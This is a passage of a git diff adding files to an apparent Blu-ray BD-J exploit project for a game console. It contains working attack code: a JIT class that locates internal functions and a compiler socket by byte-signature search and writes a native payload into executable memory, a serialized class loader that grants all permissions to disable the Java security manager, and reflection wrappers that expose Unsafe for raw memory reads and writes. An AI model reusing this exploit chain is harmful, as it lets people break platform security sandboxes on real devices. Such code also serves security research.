+ (byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41 + }; + + private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo"; + private static final String WRITE_SYMBOL = "write"; + private static final String READ_SYMBOL = "read"; + + private static JIT instance; + + private final API api; + + private long sceKernelGetModuleInfo; + private long read; + private long write; + private long BufferBlob__create; + + private int compilerAgentSocket; + + private JIT() throws Exception { + this.api = API.getInstance(); + this.init(); + } + + static synchronized JIT getInstance() throws Exception { + if (instance == null) { + instance = new JIT(); + } + return instance; + } + + private void init() { + sceKernelGetModuleInfo = + api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL); + read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL); + write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL); + + if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) { + throw new IllegalStateException("Symbols could not be found."); + } + + long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE); + api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE); + api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE); + if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo) != 0) { + throw new IllegalStateException("sceKernelGetModuleInfo failed."); + } + + long bdjBase = api.read64(modinfo + 0x108); + long bdjSize = api.read32(modinfo + 0x110); + + api.free(modinfo); + + int i = 0; + while (i < bdjSize + && api.memcmp(bdjBase + i, BUFFER_BLOB_CREATE_SEQ, BUFFER_BLOB_CREATE_SEQ.length) != 0) { + i++; + } + if (i == bdjSize) { + throw new IllegalStateException("BufferBlob::create function could not be found."); + } + BufferBlob__create = bdjBase + i - 0x21; + + i = 0; + while (i < bdjSize + && api.memcmp( + bdjBase + i, + COMPILER_AGENT_SENDER_THREAD_SEQ, + COMPILER_AGENT_SENDER_THREAD_SEQ.length) + != 0) { + i++; + } + if (i == bdjSize) { + throw new IllegalStateException("Compiler agent socket could not be found."); + } + long compilerAgentSocketOpcode = bdjBase + i - 0x10; + compilerAgentSocket = + api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7); + } + + long mapPayload(String path) throws Exception { + RandomAccessFile file = new RandomAccessFile(path, "r"); + + // TODO: Currently we just use maximum size so that the address is predictable. + long size = MAX_JIT_SIZE; + // long size = file.length() + 0x88 + ALIGNMENT - 1; + // if (size >= MAX_JIT_SIZE) { + // throw new IllegalArgumentException("Payload is too big."); + // } + + long name = api.malloc(4); + api.strcpy(name, "jit"); + long blob = api.call(BufferBlob__create, name, size); + long code = blob + api.read32(blob + 0x20); + api.free(name); + + long address = (code + ALIGNMENT - 1) & ~(ALIGNMENT - 1); + + long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE); + long response = api.malloc(API.INT8_SIZE); + + for (long i = 0; i < file.length(); i += CHUNK_SIZE) { + byte[] chunk = new byte[CHUNK_SIZE]; + + file.seek(i); + file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE)); + + api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE); + api.memcpy(request + 0x00, chunk, CHUNK_SIZE); + api.write64(request + 0x38, address + i - 0x28); + api.call(write, compilerAgentSocket, request, COMPILER_AGENT_REQUEST_SIZE); + + api.write8(response, (byte) 0); + api.call(read, compilerAgentSocket, response, API.INT8_SIZE); + + if (api.read8(response) != ACK_MAGIC_NUMBER) { + throw new IllegalStateException("Wrong compiler response."); + } + } + + api.free(response); + api.free(request); + + return address; + } +} diff --git a/com/bdjb/Payload.java b/com/bdjb/Payload.java new file mode 100644 index 0000000..fe5ff91 --- /dev/null +++ b/com/bdjb/Payload.java @@ -0,0 +1,24 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.security.AccessController; +import java.security.PrivilegedActionException; +import java.security.PrivilegedExceptionAction; + +/** Payload class that is loaded with all permissions in order to disable the security manager. */ +public class Payload implements PrivilegedExceptionAction { + public Payload() throws PrivilegedActionException { + AccessController.doPrivileged(this); + } + + public Object run() throws Exception { + System.setSecurityManager(null); + return null; + } +} diff --git a/com/bdjb/PayloadClassLoader.java b/com/bdjb/PayloadClassLoader.java new file mode 100644 index 0000000..9d96977 --- /dev/null +++ b/com/bdjb/PayloadClassLoader.java @@ -0,0 +1,58 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.Serializable; +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.io.ObjectInputStream; +import java.io.InputStream; +import java.security.ProtectionDomain; +import java.security.Permissions; +import java.security.AllPermission; + +/** ClassLoader subclass that is instantiated on deserialization. */ +class PayloadClassLoader extends ClassLoader implements Serializable { + private static final long serialVersionUID = 0x4141414141414141L; + + private static final String PAYLOAD_CLASS_FILE = "/com/bdjb/Payload.class"; + private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload"; + + private static PayloadClassLoader instance; + + static PayloadClassLoader getInstance() { + return instance; + } + + private void readObject(ObjectInputStream stream) { + instance = this; + } + + void newPayload() throws Exception { + InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_FILE); + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + + byte[] buf = new byte[8192]; + int read; + while ((read = inputStream.read(buf)) > 0) { + outputStream.write(buf, 0, read); + } + + inputStream.close(); + + byte[] payload = outputStream.toByteArray(); + + // Instantiate the payload class with all permissions to disable the security manager. + Permissions permissions = new Permissions(); + permissions.add(new AllPermission()); + ProtectionDomain protectionDomain = new ProtectionDomain(null, permissions); + Class payloadClass = + defineClass(PAYLOAD_CLASS_NAME, payload, 0, payload.length, protectionDomain); + payloadClass.newInstance(); + } +} diff --git a/com/bdjb/PayloadClassLoaderSerializer.java b/com/bdjb/PayloadClassLoaderSerializer.java new file mode 100644 index 0000000..98a5ec1 --- /dev/null +++ b/com/bdjb/PayloadClassLoaderSerializer.java @@ -0,0 +1,27 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; + +/** Simple util to create a serialized object of the PayloadClassLoader class. */ +class PayloadClassLoaderSerializer { + public static void main(String[] args) { + try { + ObjectOutputStream objectOutputStream = + new ObjectOutputStream(new FileOutputStream("com/bdjb/PayloadClassLoader.ser")); + objectOutputStream.writeObject(new PayloadClassLoader()); + objectOutputStream.close(); + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/com/bdjb/ProviderAccessorImpl.java b/com/bdjb/ProviderAccessorImpl.java new file mode 100644 index 0000000..97d6f12 --- /dev/null +++ b/com/bdjb/ProviderAccessorImpl.java @@ -0,0 +1,65 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import com.oracle.ProviderAccessor; +import com.oracle.ProviderAdapter; +import com.oracle.security.Service; +import java.util.Arrays; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Iterator; +import java.util.Set; +import java.security.Provider; +import java.security.Security; + +/** ProviderAccessor implementation that allows arbitrary services to be added. */ +class ProviderAccessorImpl implements ProviderAccessor { + private final HashMap providerServices = new HashMap(); + + ProviderAccessorImpl(Provider[] providers) { + this.copyProviderServices(providers); + } + + private void copyProviderServices(Provider[] providers) { + for (int i = 0; i < providers.length; i++) { + providerServices.put(providers[i], new HashSet(ProviderAdapter.getServices(providers[i]))); + } + } + + void setProviderAccessor() { + ProviderAdapter.setProviderAccessor(this); + } + + public Service getService(Provider provider, String type, String algorithm) { + Set services = getServices(provider); + if (services != null) { + Iterator iterator = services.iterator(); + while (iterator.hasNext()) { + Service service = (Service) iterator.next(); + if (service.getType().equals(type) + && (service.getAlgorithm().equals(algorithm) + || service.getAliases().contains(algorithm))) { + return service; + } + } + } + return null; + } + + public Set getServices(Provider provider) { + return (Set) providerServices.get(provider); + } + + public void putService(Provider provider, Object service) { + Set services = getServices(provider); + if (services != null) { + services.add(service); + } + } +} diff --git a/com/bdjb/Screen.java b/com/bdjb/Screen.java new file mode 100644 index 0000000..6c5d073 --- /dev/null +++ b/com/bdjb/Screen.java @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.awt.Color; +import java.awt.Container; +import java.awt.Font; +import java.awt.Graphics; +import java.util.ArrayList; + +class Screen extends Container { + private static final Font FONT = new Font(null, Font.PLAIN, 36); + + private static final ArrayList messages = new ArrayList(); + + private static final Screen instance = new Screen(); + + static Screen getInstance() { + return instance; + } + + static void println(String msg) { + messages.add(msg); + instance.repaint(); + } + + public void paint(Graphics g) { + g.setFont(FONT); + g.setColor(Color.WHITE); + + int x = 100; + int y = 100; + int height = g.getFontMetrics().getHeight(); + for (int i = 0; i < messages.size(); i++) { + String msg = (String) messages.get(i); + g.drawString(msg, x, y); + y += height; + } + } +} diff --git a/com/bdjb/ServiceImpl.java b/com/bdjb/ServiceImpl.java new file mode 100644 index 0000000..96acb2f --- /dev/null +++ b/com/bdjb/ServiceImpl.java @@ -0,0 +1,30 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import com.oracle.security.Service; +import java.util.List; +import java.util.Map; +import java.security.Provider; + +/** Service subclass implementing ServiceInterface in order to be accessible with IxcProxyImpl. */ +class ServiceImpl extends Service implements ServiceInterface { + ServiceImpl(Provider provider) { + super(provider); + } + + ServiceImpl( + Provider provider, + String type, + String algorithm, + String className, + List aliases, + Map attributes) { + super(provider, type, algorithm, className, aliases, attributes); + } +} diff --git a/com/bdjb/ServiceInterface.java b/com/bdjb/ServiceInterface.java new file mode 100644 index 0000000..04c94d8 --- /dev/null +++ b/com/bdjb/ServiceInterface.java @@ -0,0 +1,18 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.security.NoSuchAlgorithmException; + +/** Service interface with methods of interest throwing RemoteException. */ +interface ServiceInterface extends Remote { + public Object newInstance(Object constructorParameter) + throws RemoteException, NoSuchAlgorithmException; +} diff --git a/com/bdjb/UnsafeInterface.java b/com/bdjb/UnsafeInterface.java new file mode 100644 index 0000000..9d0e897 --- /dev/null +++ b/com/bdjb/UnsafeInterface.java @@ -0,0 +1,40 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.lang.reflect.Field; + +interface UnsafeInterface { + public byte getByte(long address); + + public short getShort(long address); + + public int getInt(long address); + + public long getLong(long address); + + public long getLong(Object o, long offset); + + public void putByte(long address, byte x); + + public void putShort(long address, short x); + + public void putInt(long address, int x); + + public void putLong(long address, long x); + + public void putObject(Object o, long offset, Object x); + + public long objectFieldOffset(Field f); + + public long allocateMemory(long bytes); + + public long reallocateMemory(long address, long bytes); + + public void freeMemory(long address); +} diff --git a/com/bdjb/UnsafeJdkImpl.java b/com/bdjb/UnsafeJdkImpl.java new file mode 100644 index 0000000..0342410 --- /dev/null +++ b/com/bdjb/UnsafeJdkImpl.java @@ -0,0 +1,105 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import jdk.internal.misc.Unsafe; + +class UnsafeJdkImpl implements UnsafeInterface { + private static final String GET_MODULE_METHOD_NAME = "getModule"; + + private static final String MODULE_CLASS_NAME = "java.lang.Module"; + private static final String IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME = + "implAddOpensToAllUnnamed"; + + private static final String UNSAFE_CLASS_NAME = "jdk.internal.misc.Unsafe"; + private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe"; + + private final Unsafe unsafe; + + UnsafeJdkImpl() throws Exception { + // Throw exception if class does not exist. + Class.forName(UNSAFE_CLASS_NAME); + + // Get unsafe module. + Method getModuleMethod = Class.class.getDeclaredMethod(GET_MODULE_METHOD_NAME, null); + getModuleMethod.setAccessible(true); + Object unsafeModule = getModuleMethod.invoke(Unsafe.class, null); + + // Open unsafe package. + Method implAddOpensToAllUnnamedMethod = + Class.forName(MODULE_CLASS_NAME) + .getDeclaredMethod( + IMPL_ADD_OPENS_TO_ALL_UNNAMED_METHOD_NAME, new Class[] {String.class}); + implAddOpensToAllUnnamedMethod.setAccessible(true); + implAddOpensToAllUnnamedMethod.invoke( + unsafeModule, new Object[] {Unsafe.class.getPackage().getName()}); + + // Get unsafe instance. + Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME); + theUnsafeField.setAccessible(true); + unsafe = (Unsafe) theUnsafeField.get(null); + } + + public byte getByte(long address) { + return unsafe.getByte(address); + } + + public short getShort(long address) { + return unsafe.getShort(address); + } + + public int getInt(long address) { + return unsafe.getInt(address); + } + + public long getLong(long address) { + return unsafe.getLong(address); + } + + public long getLong(Object o, long offset) { + return unsafe.getLong(o, offset); + } + + public void putByte(long address, byte x) { + unsafe.putByte(address, x); + } + + public void putShort(long address, short x) { + unsafe.putShort(address, x); + } + + public void putInt(long address, int x) { + unsafe.putInt(address, x); + } + + public void putLong(long address, long x) { + unsafe.putLong(address, x); + } + + public void putObject(Object o, long offset, Object x) { + unsafe.putObject(o, offset, x); + } + + public long objectFieldOffset(Field f) { + return unsafe.objectFieldOffset(f); + } + + public long allocateMemory(long bytes) { + return unsafe.allocateMemory(bytes); + } + + public long reallocateMemory(long address, long bytes) { + return unsafe.reallocateMemory(address, bytes); + } + + public void freeMemory(long address) { + unsafe.freeMemory(address); + } +} diff --git a/com/bdjb/UnsafeSunImpl.java b/com/bdjb/UnsafeSunImpl.java new file mode 100644 index 0000000..e659562 --- /dev/null +++ b/com/bdjb/UnsafeSunImpl.java @@ -0,0 +1,84 @@ +/* + * Copyright (C) 2021 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +package com.bdjb; + +import java.lang.reflect.Field; +import sun.misc.Unsafe; + +class UnsafeSunImpl implements UnsafeInterface { + private static final String UNSAFE_CLASS_NAME = "sun.misc.Unsafe"; + private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe"; + + private final Unsafe unsafe; + + UnsafeSunImpl() throws Exception { + // Throw exception if class does not exist. + Class.forName(UNSAFE_CLASS_NAME); + + // Get unsafe instance. + Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME); + theUnsafeField.setAccessible(true); + unsafe = (Unsafe) theUnsafeField.get(null); + } + + public byte getByte(long address) { + return unsafe.getByte(address); + } + + public short getShort(long address) { + return unsafe.getShort(address); + } + + public int getInt(long address) { + return unsafe.getInt(address); + } + + public long getLong(long address) { + return unsafe.getLong(address); + } + + public long getLong(Object o, long offset) { + return unsafe.getLong(o, offset); + } + + public void putByte(long address, byte x) { + unsafe.putByte(address, x); + } + + public void putShort(long address, short x) { + unsafe.putShort(address, x); + } + + public void putInt(long address, int x) { + unsafe.putInt(address, x); + } + + public void putLong(long address, long x) { + unsafe.putLong(address, x); + } + + public void putObject(Object o, long offset, Object x) { + unsafe.putObject(o, offset, x); + } + + public long objectFieldOffset(Field f) { + return unsafe.objectFieldOffset(f); + } + + public long allocateMemory(long bytes) { + return unsafe.allocateMemory(bytes); + } + + public long reallocateMemory(long address, long bytes) { + return unsafe.reallocateMemory(address, bytes); + } + + public void freeMemory(long address) { + unsafe.freeMemory(address); + } +} diff --git a/com/bdjb/bluray.ExploitXlet.perm b/com/bdjb/bluray.ExploitXlet.perm new file mode 100644 index 0000000..f15fe06 --- /dev/null +++ b/com/bdjb/bluray.ExploitXlet.perm @@ -0,0 +1,12 @@ + + + + + + + + * + + + + diff --git a/disc/BDMV/META/DL/bdjb.jpg b/disc/BDMV/META/DL/bdjb.jpg new file mode 100644 index 0000000..cddcb80 Binary files /dev/null and b/disc/BDMV/META/DL/bdjb.jpg differ diff --git a/disc/BDMV/META/DL/bdmt_eng.xml b/disc/BDMV/META/DL/bdmt_eng.xml new file mode 100644 index 0000000..9a78c32 --- /dev/null +++ b/disc/BDMV/META/DL/bdmt_eng.xml @@ -0,0 +1,17 @@ + + + + + bd-jb + 1 + 1 + + + + bd-jb + + + + eng + + diff --git a/disc/CERTIFICATE/app.discroot.crt b/disc/CERTIFICATE/app.discroot.crt new file mode 100644 index 0000000..38fc69d Binary files /dev/null and b/disc/CERTIFICATE/app.discroot.crt differ diff --git a/disc/CERTIFICATE/bu.discroot.crt b/disc/CERTIFICATE/bu.discroot.crt new file mode 100644 index 0000000..786e56d Binary files /dev/null and b/disc/CERTIFICATE/bu.discroot.crt differ diff --git a/jdk/internal/misc/Unsafe.java b/jdk/internal/misc/Unsafe.java new file mode 100644 index 0000000..3413683 --- /dev/null +++ b/jdk/internal/misc/Unsafe.java @@ -0,0 +1,49 @@ +package jdk.internal.misc; + +import java.lang.reflect.Field; + +public class Unsafe { + public byte getByte(long address) { + return 42; + } + + public short getShort(long address) { + return 42; + } + + public int getInt(long address) { + return 42; + } + + public long getLong(long address) { + return 42; + } + + public long getLong(Object o, long offset) { + return 42; + } + + public void putByte(long address, byte x) {} + + public void putShort(long address, short x) {} + + public void putInt(long address, int x) {} + + public void putLong(long address, long x) {} + + public void putObject(Object o, long offset, Object x) {} + + public long objectFieldOffset(Field f) { + return 42; + } + + public long allocateMemory(long bytes) { + return 42; + } + + public long reallocateMemory(long address, long bytes) { + return 42; + } + + public void freeMemory(long address) {} +} diff --git a/keystore.store b/keystore.store new file mode 100644 index 0000000..b090de5 Binary files /dev/null and b/keystore.store differ diff --git a/payload/Makefile b/payload/Makefile new file mode 100644 index 0000000..5ec6377 --- /dev/null +++ b/payload/Makefile @@ -0,0 +1,19 @@ +TARGET = payload +OBJS = start.o payload.o + +CC = gcc +AS = as +OBJCOPY = objcopy +CFLAGS = -Os -fno-stack-protector -fpic -fpie +LDFLAGS = -T linker.x -nostdlib -nostartfiles + +all: $(TARGET).bin + +%.bin: %.elf + $(OBJCOPY) -S -O binary $^ $@ + +$(TARGET).elf: $(OBJS) + $(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS) + +clean: + @rm -f $(TARGET).bin $(TARGET).elf $(OBJS) diff --git a/payload/linker.x b/payload/linker.x new file mode 100644 index 0000000..c86f85a --- /dev/null +++ b/payload/linker.x @@ -0,0 +1,9 @@ +OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64") +OUTPUT_ARCH(i386:x86-64) + +ENTRY(_start) + +SECTIONS +{ + . = 0x916300000; +} diff --git a/payload/payload.c b/payload/payload.c new file mode 100644 index 0000000..afdefc7 --- /dev/null +++ b/payload/payload.c @@ -0,0 +1,7 @@ +#include +#include +#include + +int payload(int (* sceKernelDlsym)(int handle, const char *symbol, uintptr_t *address)) { + return 1337; +} diff --git a/payload/start.S b/payload/start.S new file mode 100644 index 0000000..6a46dd9 --- /dev/null +++ b/payload/start.S @@ -0,0 +1,2 @@ +_start: + jmp payload